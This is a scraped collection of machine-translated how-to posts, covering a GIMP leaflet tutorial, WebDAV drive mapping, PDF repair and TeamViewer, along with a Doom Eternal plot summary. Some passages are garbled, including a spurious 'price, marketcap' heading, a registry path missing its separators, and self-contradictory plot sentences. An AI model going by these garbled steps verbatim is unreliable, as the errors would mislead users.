height to 120%. Click Scale.\nSelect the Move tool (from the toolbox or press the M key on the keyboard) and move the dancer image up a bit, so that the head of the girl is slightly below the top edge of the leaflet.\n  You can ensure that the girl image is centered on the composition by selecting the Alignment tool , clicking on the dancer image and selecting 'Align center of target' .\n  Since we want the previously created wavy shape to start just below the girl's feet, we will select the Move tool , click on the Wavy shape layer and drag the wavy shape down a bit.\n  A part of the girl's legs may overlap with the wavy shape at this time. Fix this error by going to Layer\u0026gt; Layer to Image Size .\nStep 7: Add the Paint Splatter layer behind the dancer image   Create a new layer in the Layers panel and name it Paint Splatter. You can assign a purple tag to this layer to keep it connected to other background elements (for example, the Wavy shape layer also has a purple tag). Click OK to create the layer.\n  Select the Brush tool , then select one of the Paint Splatter brushes downloaded and installed at the beginning of this tutorial. It's easier to find the Paint Splatter brushes in the Brush panel below the Layers panel on the right side of the GIMP window. It doesn't matter which brush Paint Splatter doesn't work because you'll use a series of random brushes to create a part of the background behind the dancer. Increase or decrease the size of the brush by using brackets [] on the keyboard or by dragging the 'Size' slider in Tool Options of Paintbrush. Change the foreground color of the paintbrush to white.\n  Make sure that the Paint Splatter layer is below the Dancing girl layer in the Layers panel , then start painting by clicking on the different points around the girl. You can increase and decrease the brush size or change to different splatter brushes when drawing. A good rule of thumb for this tutorial is to keep all the stains on the girl's hips because I will fade her legs next. You can also drag the 'Angle' slider in paintbrush options if you want to change the angle of the brush.\n  When you have completed the background with paint stains, draw a gradient on the sores to make it more vivid. To do this, make sure the Paint Splatter layer is still selected, then go to Layer\u0026gt; Transparency\u0026gt; Alpha to Selection . This will turn paint stains into a selection.\n  Now create a new layer and name it Paint Splatter Gradient . You can put a purple tag for it, then click OK.\n  \nSelect this new Paint Splatter Gradient layer and the Blend tool (gradient). Change the foreground color to white and the background color to light pink (symbol HTML: cd58a0). With the shape still set to Linear and gradient is still set to FG to BG (RGB) , click on the upper right and drag down to the bottom left of the selection to draw the gradient. If you have a newer version of GIMP and need to adjust the gradient before applying it, feel free to do so, then select the Move tool to apply the changes.\nOnce you've applied your changes, go to Select\u0026gt; None to deselect the selection. You should now have a painty area with a gradient.\n  Now select the Move tool , hide the original Paint Splatter layer and click again on the Paint Splatter Gradient layer. Reduce this layer's Opacity to the Gradient Splatter layer to blend better with the background.\nStep 8: Add laser light to the picture Navigate to the downloaded laser light image and go to Edit\u0026gt; Copy or press Ctrl + C on the keyboard. Go back to the leaflet layout and press Ctrl + V on the keyboard or go to Edit\u0026gt; Paste .\n  This will add a laser image to the composition as a floating selection layer. Click on this floating selection layer and click 'Create a new layer' to add this layer to its own Pasted Layer . After that, you can rename the layer by clicking on the class name and typing the new name 'Laser Lights'.\n  \nSelect the Scale tool from the toolbox, make sure the chain icon is locked (this tool ensures the proportion), click and drag the Laser image layer to resize the layer. Increase the size of the layer until it fits into the outer edges of the composition. When scaled up to the right size, click on 'Scale'.\n  \nSelect the Move tool to move the image up until it slightly overlaps the part of the leaflet. Then, click and drag the Laser Lights layer so that it is below the Paint Splatter Gradient layer in the Layers panel .\n  \nThen, with Laser Lights layer still selected, change the layer mode to 'Screen'. This will remove all black areas in the image, just leave the laser light and delete the background.\n  Because there are many different laser colors that do not match the colors in this composition, the next step is to remove those laser colors. To do this, go to Colors\u0026gt; Hue-Saturation and reduce the saturation to -100. If you're using GIMP 2.9.8, you can check the 'Split View' box to preview the changes. Click OK to apply the changes.\nStep 9: Mix the elements Now we have the dancers, paint stains and laser lights. You may notice that there are hard edges at the end of the dancer layer (the girl's legs) and where the laser lights end (the bottom of the layer). It is better to mix these layers better so that the elements are more intertwined with the background and produce a more professional looking work.\n  Start this process by right-clicking on the Dancer layer and selecting 'Add Layer Mask' . In 'Initialize Layer Mask to:' , select 'White (Full Opacity)' . Click Add to apply layer mask.\n  Next, select the Blend tool and change the foreground color to black. Change the gradient to 'Foreground to Transparent' and make sure the shape is still set to Linear. Click right below the Dancer layer and drag the gradient up so it ends around the excess line of the girl's shape. In GIMP 2.9.8, you can adjust the level of fade by dragging a yellow dot along the directly edited gradient line. You can also adjust the start and end points of the gradient before applying changes.\nWhen you're done, click the Move tool to apply the changes.\n  Repeat this step with the Laser Lights layer , making sure the laser beams are not in the transparent part of the dancer image.\n  Once you've blended the elements, you'll want to erase any paint stains that appear behind the transparent parts of the dancer. To do this, click on the Paint Splatter Gradient layer, select the Eraser tool and delete the sores that appear behind the girl.\nStep 10: Add text   Select the Text tool from the toolbox and change the foreground color to white. Change the font to Nexa Bold (previously downloaded) and change the font's size to 288. Click anywhere on the layout (somewhere near the top of the wavy image) and enter the title. main for advertising (in this case 'NITELIFE', capitalize all letters). This step will create a new text layer in the Layers panel . You will need to click and drag this layer to the top to make sure it is not hidden behind or blocked by another layer.\n  Then you can center the text by clicking on the Alignment tool , select the text layer and then click on 'Align center of target' . You can use the Move tool if you need to change the position of the text on the layout.\n  Then add a bit of customization to the text by adding a line at the beginning of the letter N. To do this, create a new layer and name it 'N Custom'. Add a green tag and click OK. Make sure the 'N Custom' layer is above the text layer. Select the Zoom tool (from the toolbox or press the Z key on the keyboard) and zoom in on the letter N.\n  Next, select the Rectangle Select tool and draw a rectangle with a thick edge with the original lines in the text and align it with the top part of the letter N.\n  Then, select the Bucket Fill tool and fill this selection with white. To deselect the selection, go to Select\u0026gt; None .\nSelect the Zoom tool and hold down the Ctrl key on the keyboard while clicking to zoom out.\nStep 11: Add the rest of the text   Select the Text tool and change the font to Nexa Light. Reduce the font size to 116 and change the spacing to 32. Then, click the layout above Nitelife main text and type the words 'ENJOY THE' (print all letters). You can use the Move tool if you need to adjust the position of this piece of text - just make sure you click on the text layer on the move, otherwise you will accidentally move any element. is clicking.\n  Reselect the Text tool and now enter the date you want to display for the ad. Change the font size to 100, reduce the spacing of letters back to 0 and click the layout below the main NITELIFE text. For example, you will enter SATURDAY JULY content 27TH (uppercase all letters).\nAfter that, select the Alignment tool , click on the text and click 'Align to center of target' . Again, use the Move tool if you need to adjust the text position.\n  Reselect the Text tool , change the font size to 50, increase the spacing to 5 , click the layout below the date text and enter the text line with more detailed information about the event ( 'TICKETS $ 20 | DOORS OPEN AT 7 PM | 18+ ' ). Use the Alignment tool to center this text.\n  For the last line of text, select the Text tool , change the font to Nexa Bold, increase the font size to 75 and reduce the distance to 0 . Enter the website address in the leaflet. Then use the Move tool and Alignment to center the text and place it in the desired position.\nStep 12: Style text   Now we have set up all the documents. It's time to style them. Let's start creating neon light with NITELIFE text. Click on the 'N Custom' layer and make it merge with the original NITELIFE text layer.\n  Then, with the 'N Custom' layer selected, go to Layer\u0026gt; Transparency\u0026gt; Alpha to Selection to create a selection around the NITELIFE text .\n  \nNext, create a new layer and name it NITELIFE Pink. Specify a green tag for this layer and click OK.\n  \nWith the NITELIFE Pink layer selected, I will use the Bucket Fill tool and choose the pink color for the foreground color (HTML symbol: c11e82) to fill the selection.\n  Then go to Select\u0026gt; Shrink and minimize the selection by 5 pixels (you may need to change the unit from inch to pixel).\n  Create a new layer and name it NITELIFE Bright Pink , give it a green tag. After that, change the foreground color to a brighter pink (the HTML symbol: f826a7) and use the Bucket Fill tool to fill the selection.\n  Then go to Select\u0026gt; Shrink for the last time and minimize the selection by 10 pixels. Create a new layer, name it NITELIFE Highlight, assign it a green tag and click OK. Change the foreground color to white and fill the selection. Next, select Select\u0026gt; None .\n  Go to Filters\u0026gt; Blur\u0026gt; Gaussian Blur and adjust the X and Y values ​​between 4 and 5 . Click OK to apply.\n  Next, duplicate the NITELIFE Bright Pink layer and drag it below the NITELIFE Pink layer .\n  \nWith the NITELIFE Bright Pink Copy layer selected, go to Filters\u0026gt; Blur\u0026gt; Gaussian Blur and increase the X and Y values ​​to about 30. This will create a bright pink light around the text. Click OK to apply.\n  Now, select the Text tool and the JULY text , then change the color of the text to bright pink (the HTML symbol: f826a7 ).\n  Next, add a rectangle behind the third text row ( TICKETS $ 2 0, etc.) to make this line of text more prominent. To do this, create a new layer and name it 'Tickets Rectangle' and assign a purple tag to it. Then, click and drag this layer so that it is below the original TICKETS text layer.\n  Select the Rectangle Select tool and draw a rectangle around the text.\n  If you want to make sure the rectangle is centered on the image, you can create a standard line by clicking the rulers at the outer edges of the GIMP layout window and set the size to 2.75 inches (located in the lower left corner of the layout window). With the calibration curve just created, you can now center the rectangle (with the + sign in the middle of the rectangular selection). When the rectangle is centered, select the Bucket Fill tool , change the foreground to black and fill the rectangle selection.\n  Then go to Filters\u0026gt; Light and Shadow\u0026gt; Drop Shadow to add a shadow effect to the rectangle.\n  Set the offset value X and Y to 0 , then increase the radius of the Blur effect to 20. Change the color to bright pink and set the opacity to between 70 and 75. Click OK to apply.\nStep 13: Adjust the final details before completing   We have now set the main elements, including the desired background and text. Next, we will adjust the final details to finalize the composition and blend everything together. Start by adjusting the color on the dancer image, by selecting the Dancer layer and switching to Colors\u0026gt; Color Balance . The settings for tones, shadows and highlights made the dancer part blend better with all purple and pink patches in the overall image.\n  Next, we'll add a bright pink border outside for the girl image. Create a new layer and name it Dancer Highlight, then assign a yellow tag.\n  After that, select the Paintbrush tool and change the foreground color to bright pink. Change the brush to a soft brush and paint along the highlighted edges in the upper part of the dancer.\n  After painting the highlights, go to Filters\u0026gt; Blur\u0026gt; Gaussian Blur and make sure both X and Y values ​​are set to 30. Click OK to apply.\n  Finally, reduce the opacity of the Dancer Highlight layer to below 70. As you can see, now the image appears as if the dancer has a beautiful pink light around, suitable for the ambient light. Text of the main title and the general tone of the composition.\nStep 14: Add textures   Now, add a pattern around the outer edge of the leaflet. In the latest version of GIMP, there is an integrated vignette feature that makes this task very easy. Create a new layer and name it Vignette, then add a dark gray tag for this layer. Click and drag this layer to it at the top of the Layers panel .\n  \nNext, go to Filters\u0026gt; Light and Shadow\u0026gt; Vignette .\n  Use the settings shown in the image above or adjust to get the desired look, by increasing the settings of Radius, Softness, Squeeze and Color . Click OK to apply.\nStep 15: Export the final work You can save the layout just created in the original XCF file format in GIMP by going to File\u0026gt; Save (or pressing Ctrl + S on the keyboard). However, if you want to export this layout to another format like JPEG or PDF, just go to File\u0026gt; Export and navigate down to the 'Select File Type By Extension' option to select the file type.\n  Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVqLaouoypqaielajAqrvNmqNmpJWWs62x06xksKGknXqotcyp\n","link":"/post/how-to-design-professional-leaflets-with-gimp/","section":"post","tags":null,"title":"How to design professional leaflets with GIMP"},{"body":"Google Meet is widely used in education and in some companies, offering excellent free online meeting services in a pandemic era. The one downside, however, is that the Google product doesn't have a desktop app (unlike Microsoft Teams and Zoom).\nHowever, if you want to install Google Meet on your Windows PC, this isn't impossible.\nFirst, visit meet.google.com\u0026nbsp;in the updated version of Chrome.\nClick the Menu button of Chrome browser (3 vertical dots), go to More Tools and click Create Shortcut.\n  You will now begin to create a Progressive Web App for Google Meet.\nIn the Create Shortcut menu , type Google Meet in the text input area and select Open as a Window .\n  A shortcut will now be created for the application on your desktop, which when clicked opens in a new window.\nYou can also pin apps to the taskbar and Start menu.\nTo uninstall an application, find the application entry in the Start menu and select Uninstall on the right-clicking menu.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmnqinl6GybrnEnqtmp55irm6vzqanrqyVpw%3D%3D\n","link":"/post/how-to-install-google-meet-on-a-computer/","section":"post","tags":null,"title":"How to install Google Meet on a computer"},{"body":"Web Authoring Authoring and Versioning (WebDAV) is an HTT extension, providing a collaborative way to edit and manage files on remote web servers. In this article we will learn how to map WebDAV drives in Windows 10 so you can access files remotely directly in File Explorer.\n7 best file management software for Windows to replace File Explorer To connect to the WebDAV folder in Windows 10, you will need the WebDAV website URL, WebDAV account login and shortcut or connection name. All three of this information will allow you to map WebDAV by mounting its directory into a mapped drive so you can view, edit or delete files from the remote web server using your computer.\nHow to map network drives in Windows 10 How to map network drives with Command Prompt in Windows Map OneDrive as a network drive in Windows 10 How to map WebDAV drives in Windows 10 Step 1 . Open File Explorer on your computer and right-click This PC .\n  Step 2 . Click on Map network drive .\n  Step 3 . In the new dialog box, enter the drive letter you want to map to and the folder you will add or edit WebDAV files on your local computer.\n  4. If you click on the Browse option, next to Folder and receive the message below, turn on Network discovery in the Network and Sharing Center , then proceed to the next step.\n  Step 5. Select the option Reconnect at sign-in and Connect using different credentials . The Reconnect at sign-in option allows recovering WebDaV connection when restarting the computer.\n  Step 6 . Click on the link to a web site that you can use to store your documents and pictures .\n  Step 7 . Click Next .\nStep 8 . Now, click Choose a custom network location .\nStep 9 . Click Next .\nStep 10 . Enter your domain URL in the Internet or Network address field with the WebDAV directory at the end.\nStep 11 . Enter your WebDAV username and password.\nStep 12. Click OK . The Type a name option for this network location has been filled out automatically, but if you want, you can change it.\nStep 13 . Click Next and then click Finish .\nOn File Explorer, the WebDAV folder will be displayed as a mapped drive. Now you can add, edit or delete files and folders via File Explorer.\nCould not connect to WebDAV folder Note: If you have trouble connecting to the WebDAV folder, update the Basic Authentication Level in the Windows Registry.\nStep 1 . Right-click on Start and select Run .\nStep 2 . Type regedit and press Enter to open the Windows Registry Editor.\nStep 3 . Go to directory path:\n HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebClientParameters    Step 4 . Find the value Basic BasicAuthLevel . By default, the value is set to 2, but if not this value, right-click and choose Modify , then change to 2.\n  So you know how to map a WebDAV drive on Windows 10. Have you done it successfully!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRpXq4scGdmK9llKe2t7HSZqCnZaeeu6W71qxkamg%3D\n","link":"/post/how-to-map-webdav-drives-in-windows-10/","section":"post","tags":null,"title":"How to map WebDAV drives in Windows 10"},{"body":" Microsoft Publisher treats each object in your publication as a table, a text box, an AutoShape, a picture or piece of clip art as an independent layer. You can place these layers on top of each other for visual effect, and you can change...\nMethod 1of 1:\nOrdering Layers in Microsoft Publisher 2003, 2007 and 2010  Click on the object you want to move up or down in the stack. The selected object will be surrounded with a set of sizing handles. If you don't see the object you want to select immediately, click on any visible object and press either the TAB key or SHIFT and TAB together repeatedly until the object you want to reposition is selected. You can select more than 1 object to reposition by holding down the CTRL key and selecting each object you want to reposition. Release the CTRL key after you've selected the last object.   Select \"Order\" from the \"Arrange\" menu/ribbon. The 4 layer positioning options are grouped here. Choose the option that moves the object where you want to move it in the stack of layers. Click \"Bring to Front\" to bring the selected object to the front of the stack. If the objects are positioned so they overlap, this will place it on top of all the other objects. Click \"Bring Forward\" to bring the selected object in front of the object it was immediately behind (or beneath if the objects overlapped). Click \"Send Backward\" to move the selected object behind the object it was immediately in front of (or on top of if the objects overlapped). Click \"Send to Back\" to place the selected object at the back of the stack. If the objects are positioned so they overlap, this will place it under all the other objects.   Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqeimbKzecuasJ6qo2K2r3nMopqrp6Oks7V5z66ZpaGjnbKz\n","link":"/post/how-to-order-layers-in-microsoft-publisher/","section":"post","tags":null,"title":"How to Order Layers in Microsoft Publisher"},{"body":"If you can't open the PDF file, it may be corrupted and if you haven't backed up the data yet, this is a nightmare. Therefore the article will help you recover or repair corrupted PDF files with Windows tools and techniques. The following methods can completely recover the PDF file, restore the original state or only extract the elements in the file.\nError checking PDF reader software Are you sure the problem is in the PDF file? Perhaps the error is due to PDF reader software?\nEdit PDF reader software Adobe Acrobat Reader The most popular PDF reader is Adobe Acrobat Reader. The PDF file was created by Adobe in the 1990s and became an open standard in 2008. If using Adobe Acrobat Reader, try some quick remedies later.\nFirst, check the version of the PDF reader by launching it and accessing Help\u0026gt; Check for Updates . You will be notified that the program has been updated or that an update needs to be installed. If there is an update, install it and try opening the PDF again.\n  If this doesn't work, you can try navigating to Help\u0026gt; Repair Installation . This is probably because the files that the program relies on to run are corrupted and this method will try to patch them.\nThe above is still not possible? You can press Windows + I key and click on Apps , search for adobe acrobat reader , click on it in the list and select Uninstall . Then download and install the latest version. If you still cannot open the PDF file, you should try another PDF reader software.\nUse an alternative PDF reader software Adobe Acrobat Reader is not the only option to view PDF files. You should try another program to see if the PDF file can be opened. You can refer to the best Free PDF Software on Windows and Mac.\n  You may also find that Okular and Evince can read your PDF files when other software cannot. This is because they use a different display method than other software to view PDF files.\nIf you still have problems, your PDF file is corrupted or corrupted. Take measures below.\nRepair or restore PDF files Restore the PDF file version first If you have ever used this PDF file, you can restore its old version. Windows 10 has a built-in backup utility. You can access it by pressing Windows + I and navigating to Update \u0026amp; Security\u0026gt; Backup.\nIf you don't use the Backup feature, you can't use it to recover PDF files. Therefore, it is advisable to activate it now to prevent these situations from happening. If you have enabled this feature, you can use the File History feature to return to the previous version of the PDF file by right-clicking on it and selecting Restore previous versions .\nThis will display a list of all older versions of the file in the backup. You can open the copy to check it and then use the Restore button to restore it.\nA similar technique is to use a data recovery program like Recuva, which will scan the drive and find old files that have not been deleted from the system. If you have an old copy of the PDF file that you deleted, this technique can be effective.\nSee also: How to use Recuva to restore and retrieve data after it has been deleted\nUse PDF repair applications and utilities You can use some applications to repair PDF files. Some tools do not require installation and only run on browsers like PDFaid, Repair PDF and PDF Tools Online.\n  You can also try specialized file repair programs like FileRepair1. This program will scan PDF, identify errors and fix if possible.\nExtract data from PDF file If you can't edit the whole PDF file, you can still extract elements like text and images.\nFor text, you can use programs to convert PDFs into Word files and allow to get the text in them. You can use the PDF to Word Converter online tool provided by Nitro. Depending on the corrupted PDF file, sometimes you will get strange characters.\nSee also: 5 ways to extract text from PDF files most effectively\n  If your PDF file contains images, try following the instructions on how to extract images from PDF. Same as above the results you get will vary depending on the file is broken.\nHopefully these methods are useful even though they are not able to recover everything, but at least you get the important data of the file.\nI wish you all success!\nSee more:\n5 online tools to remove pdf file limits Recovering unsaved Word files, retrieving Word, Excel and PowerPoint files before saving How to remove logos in PDF files ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVpa6qvoyoqWaqlajBsL7EZpqoqqKqvbWxw2annZ5dm7atsdI%3D\n","link":"/post/how-to-repair-or-restore-corrupted-pdf-files/","section":"post","tags":null,"title":"How to repair or restore corrupted PDF files"},{"body":"On Samsung models, Bixby virtual assistant is developed by the manufacturer based on artificial intelligence technology. Especially, when launching Galaxy S8 Bixby virtual assistant, Samsung actively introduced to users. To the Galaxy Note 8, Bixby virtual assistant is improved in the system, to bring convenience to users. On Note 8 or S8, Bixby virtual assistant can use physical buttons to open, or recognize voice using Bixby Voice, identify images via Bixby Vision camera. The following article will introduce you to read how to use Bixby on Samsung devices.\nThe control commands are useful with Bixby Voice on Galaxy S8 How to turn off the notification prompt on Bixby Galaxy S8 5 ways to take screenshots on Galaxy Note 8 How to use Bixby assistant on Galaxy Note 8 Step 1:\nFirst of all to open Bixby and open Bixby Home, we press the Bixby button under the volume keys or say Hi Bixby to the phone.\n  Step 2:\nTo turn off the Bixby Voice function, click the dot icon on the right corner and go to Settings to turn on or turn off Bixby Voice, the function to communicate with Bixby by voice.\n    Step 3:\nNext to use the wake-up Voice , set the voice to open Bixby, press the Voice wake-up item, then swipe the horizontal bar to activate the On mode on the application.\n  Here users will have 2 options to record open voice Bixby needs to notice.\nRecord wake-up command again: record the Bixby awakening on the device yourself. Hear your recording: we can use another device that already has a wake up sentence and the virtual assistant Bixby will recognize that awakening sentence   Above is the basic use of Bixby virtual assistant on Samsung Galaxy Note 8, or Galaxy S8. In general, Bixby virtual assistant will also help you work faster on the device, when users communicate with virtual assistants via Bixby Voice voice feature.\nSee also: How to use S Pen to translate text on Galaxy Note 8.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqjtdebsGaZo6i2tMDAp6tmp55itKK4wLGwZqafqbJuhA%3D%3D\n","link":"/post/how-to-use-bixby-assistant-on-galaxy-note-8/","section":"post","tags":null,"title":"How to use Bixby assistant on Galaxy Note 8"},{"body":"After missing for a long time, Doom Slayer returns while humanity is on the verge of extinction by the evil invaders.\nWhat happens when Doom Slayer is absent? After being deceived by Samuel Hayden and stealing the Crucible sword at the end of Doom (2016), we do not know what happened to Doom Slayer between then and when Doom Eternal started. All we know is that Samuel Hayden brought the Crucible back to Earth to be used as a source of energy to prevent the crisis in the human world. His efforts were destroyed when the remnants of the cult Olivia Pierce created summoned demons on Earth, causing UAC to become schizophrenic.\n Samuel Hayden leads the first line of human resistance.\nThose loyal to Samuel and him split up to form ARC to fight the demons, while those who remained in UAC became cults under the Deag clerics who had betrayed Argent D'Nur, Old Night Sentinel and Doom Slayer. Samuel Hayden's efforts to resist and the remnants of the Earth army are not really effective - they spend most of their time . losing, and the demons constantly eat the Earth, making it a part of Hell.\nThen one day, the Doom Slayer unexpectedly returns on the Fortress of Doom - a spaceship / fortress created by the Argentinians in ancient times. We don't know how it fell to the Doom Slayer, but he used it as his base and embarked on his work quietly. If you want to ask what that job is, the answer is to destroy the evil demons and bring revenge to those who betrayed him and his Night Sentinel comrades years ago.\nBack to revenge In order to root out the evil's presence on Earth, the Doom Slayer needs to destroy the three Deag clergy - now Hell Priest - who are hiding somewhere on Earth. With the help of VEGA in the role of AI controlling the operation of Fortress of Doom, Doom Slayer began hunting for his goals. His first target was Deag Nilox hiding in a stronghold in Los Angeles - USA, and the missionary could not believe his eyes when he witnessed the sudden appearance of Doom Slayer. He introduced him to the knife on his left arm after many years of not meeting.\n Yes, I can.\nAfter finishing Deag Nilox, Doom Slayer takes him with him to the conference of the hell clergy. They told Doom Slayer that his actions would not solve anything - even if they were all killed, the Earth and its creatures would be sacrificed to Khan Maykr to restore the lineage. Argent energy that Khan Maykr needed to maintain his existence. Khan Maykr also appeared to try to convince Doom Slayer that by giving his life to Urdak, humanity could atone for the sin, that 'you cannot resist Khan Maykr's will.' and reiterating her old propaganda, that Doom Slayer was a tool created by Khan Maykr to bring Maykr's teachings to the superstitious, and punish those who dare to harm him. follow the path that Maykr taught.\nYou know what will happen later. Doom Slayer will prove he can completely resist Khan Maykr because she is nothing in the mission he pursues. Doom Slayer is not a tool of anyone, but only fighting for the sake of themselves and the survival of mankind. With the help of VEGA and the equipment on the Fortress of Doom, Doom Slayer is determined to find the remaining Deag clergy no matter where they hide or how well Khan Maykr protects them, and carries out the alert. the enemy I always wanted.\nBecause the hellish priests now hide under Khan Maykr's protection, the Doom Slayer needs to activate the Celestial Locator on the Fortress of Doom to search for them. But first, he needed to find its missing parts and this mission led him to Exultia, then to Hell. The reason that Doom Slayer went to Hell is to meet Valen - the once traitor Argent D'Nur now living in exile in Hell - to power the device he has just found. Valen accepts to help Doom Slayer, and gives him a knife to destroy his son's heart, which controls the Icon of Sin, which Khan Maykr is planning to revive as a new tool.\n Valen - 'Traitor' - gives Doom Slayer a knife to destroy his son's heart.\nWith the Celestial Locator activated, VEGA finds the second cleric, Deag Ranak, who is hiding in an Arctic UAC base. Here, Deag Ranak is protected by a Doom Hunter, a demon designed to hunt down the Doom Slayer and the Night Sentinel warriors in the past. Following the recommendation of Deag Ranak, this demonic race thought to be extinct because of the events in the 'Unholy Crusade' but actually still exists and has been improved by Earth technology. He believes that Doom Hunter will be able to save his life, but Doom Slayer is willing to make this race extinct again before forcing Deag Ranak to accept his fate.\nDeag Ranak's death forced Khan Maykr to hide the last missionary Deag Grav in a secret place and speed up the invasion of the Earth. This forced Doom Slayer to change tactics and attack Super Gore Nest in Europe, where the density of demons is most dense on Earth to delay the invasion. The Doom Slayer successfully destroyed the Super Gore Nest but this did not help the search for Deag Grav, so VEGA made an unexpected suggestion: looking for Dr. Samuel Hayden, who might know where he was hiding. .\n The situation of Samuel Hayden when Doom Slayer came.\nIn order to find Samuel Hayden, Doom Slayer headed to the ARC base where Samuel Hayden was in a \"devastated body\" because of a failed counterattack operation. A Marauder - the common name of those who used to be comrades of Doom Slayer in the Night Sentinel ranks but has long been corrupt - appeared here to kill Doom Slayer but failed. The Doom Slayer brought Samuel Hayden and the Crucible he was holding to the Fortress of Doom. When he awoke, Samuel told him that Deag Grav was hiding at Sentinel Prime, an ancient city of Argent D'Nur. As a Warrior King of the Night Sentinel, the Doom Slayer can enter the city unobstructed, but first he needs to find his way there.\nFinding Sentinel Prime is not easy, but fortunately there is still a gateway to this city located in Hebeth, another ancient city buried deep on the ground of Mars. Instead of starting an archeology and excavation to search for Hebeth, Doom Slayer used the BFG 10000 on the UAC base in Phobos to carve a giant crater on the surface of Mars, causing Hebeth to be exposed outside. He walked across the immense space between Phobos and Mars in a bullet to Hebeth and entered the teleport gate. At Sentinel Prime, he defeated a giant demon called Gladiator, killing Deag Grav even if Night Sentinel's rule did not allow the killing of a missionary on this sacred land and returning to Fortress of Doom.\n Doom Eternal Plot - P.9: Doom Slayer ravages Hell Although not a single Night Sentinel survives to record the Doom Slayer record, he continues his battle while lost in Hell.\nEnd the invasion When he returned to the Fortress of Doom, Khan Maykr tried to sabotage the fortress to prevent Doom Slayer from continuing to disrupt her plans. Because this fort was built by the Argent D'Nur on the help of the Maykr clan, she easily disabled the fort's energy as well as teleport the evil into the control room to kill the Doom Slayer. However, all efforts were futile when the demons were slaughtered and the Crucible sword was able to power an entire planet to be used as a source of power for the Fortress of Doom. Samuel Hayden himself also became the new 'housekeeper' of the fort while VEGA was extracted for a new mission: destroying the Icon of Sin at Urdak.\nBut first, the Doom Slayer needs to retrieve his Crucible sword, which is embedded in the heart of a Titan lying in Taras Nabad. He only took away the hilt of the sword and left the blade in order to further suppress the Titan from reviving it, then re-cast the new blade to use. At Taras Nabad, the game reveals to the player that Khan Maykr has allied himself with Hell in exchange for Argent energy to prolong life and keep Urdak alive.\n Urdak, the capital of Maykr.\nAfter the Doom Slayer restored his Crucible, Samuel Hayden guided him through the Nekravol stronghold - the Argentian energy refinery of Hell - to find the gate to Urdak. In the home town of the Maykr clan, Doom Slayer uses the knife that Valen gives to destroy the heart of Valen's son and free his soul. This also severed Khan Maykr's ability to control Icon of Sin, causing its instincts to rise, pushing the monster toward Earth.\nOutraged by his plans being destroyed, Khan Maykr determined to destroy Khan Maykr himself without knowing that the reason he was still alive was just because she was immortal outside Urdak. After killing Khan Maykr, the Doom Slayer chased the Icon of Sin back to Earth, leaving VEGA in Urdak to keep the portal moving from Urdak to Earth open. After a tense battle on Earth, the Doom Slayer once again destroys the Icon of Sin with the Crucible sword, putting an end to the extreme invasion of Hell on Earth.\n Doom Slayer finishes Icon of Sin.\nAfter this trophy, it seems that people will have a new religion to worship Doom Slayer. While both demons and 'angels' want to destroy the Earth, Doom Slayer - a man who once was a normal person - stood out to accept the responsibility to save humanity. He did it not only once, with not only one race, but not just one universe. Although I believe that Doom Slayer does not care if he is worshiped or not, he will surely be pleased to see that humanity continues to exist. Doom Slayer will definitely not stop Rip \u0026amp; Tear when outside forces threaten the species he was once a member of and still want to protect in the future.\nThis is an article in a series of Doom Eternal Plots\nncG1vNJzZmismaXArq3KnmWcp51kva2702abqKedYrK1sdGnmKVloJa%2FtXmQaWSdp5%2BierS4wLKcq2WimsG2vs2s\n","link":"/post/plot-doom-eternal-part-10-doom-slayer-returns/","section":"post","tags":null,"title":"Plot Doom Eternal - Part 10: Doom Slayer returns"},{"body":" Free software Version: 15.15.5 Update date: 03/04/2021 Platforms: Windows, Mac, Android, iPhone Download TeamViewer 15.15.5 here.\nTeamViewer 15.15.5 is compatible with Android, Apple iOS, Mac, Google Chrome, Linux, Microsoft Windows and Raspberry Pi on tablets, desktops, laptops and mobile devices.\n  Features of TeamViewer Safe to download and install TeamViewer is a safe software program to download and install. You will want to ensure that the software is configured correctly to avoid privacy-related issues that leave the system vulnerable to security risks. To initiate a remote session, the person sharing their screen needs to provide an ID and password for the other person to connect.\nTeamViewer advises people to never give access to strangers or can't be trusted. If the two sides using TeamViewer (the helper and the person in need) are familiar with each other and understand the intention of connecting, it is appropriate to connect remotely with each other. Users of this program can quickly terminate any session in order to safely exit.\nSupports desktop collaboration In the option \"Communicate\" on the status bar, the user can make a call over the Internet or by phone in the \"Conference Call\" section . Similar to the TeamViewer service called Blizz, people can chat and group video calls. The chat box is often used to share a link, code, etc.\nOn-screen annotations can prove helpful in online, personal and professional educational environments. Select your preferred medium to use from in the blue pop-up window.\nThe last drop-down menu is the \"Files \u0026amp; Extras\" area with sections: \"Print\", \"VPN\", \"Screen Recording\" and \"File Transfer\" . You can select \"Activate TeamViewer Printing\" to perform remote printing. You can also easily take screenshots and record sessions, or perform file transfers during a meeting to deliver documents to the other party.\nFree software with lots of features You can download TeamViewer to perform interactive tasks: Printing, quick support, file sharing, etc. Multi-platform application that can securely connect handheld devices and computers, laptops. together. While the company benefits from providing its services to commercial businesses, the non-commercial version is free for personal use.\nAdvantages\nCross platform Remote printing Ability to share files Productivity optimization Available in multiple languages Defect\nSlightly risky ncG1vNJzZmismaXArq3KnmWcp51kwaatzK%2Bgnq%2BVp3pygZBuZKytoKW8s8DIp55mq5%2Bbwbit0Z5kn6qVmnqzscyoq55lkZiwpr%2FS\n","link":"/post/supporting-software-free-remote-access/","section":"post","tags":null,"title":"Supporting software, free remote access"},{"body":"Did you know that you can access and use the computer system from another computer or the device you are using right now? Sound strange, right?\nIn fact, this is quite simple. While people are constantly connecting to remote servers to browse the web, talk to friends, and play games, gaining uncontrolled access comes from one of two ways: Remote Desktop and Virtual Private Network, also known as VPN.\nInterestingly, though, these are 2 very different things. Both have obvious differences, as well as some pros and cons. In this article, TipsMake.com \u0026nbsp;will go into detail explaining the difference between Remote Desktop and VPN to help you decide which solution is best for your needs.\nRemote Desktop (RDP) price, marketcap, chart, and fundamentals info Remote Desktop, also known as RDP and screen sharing, is software that allows you to connect wirelessly to other computer systems, so that you have complete access to that computer.\nIt doesn't matter whether the computer is in the same building, or thousands of miles away, you can easily connect and use it as if you were there. All you need is a Remote Desktop tool or software and some popular options include RealVNC, Netviewer, LogMeIn, 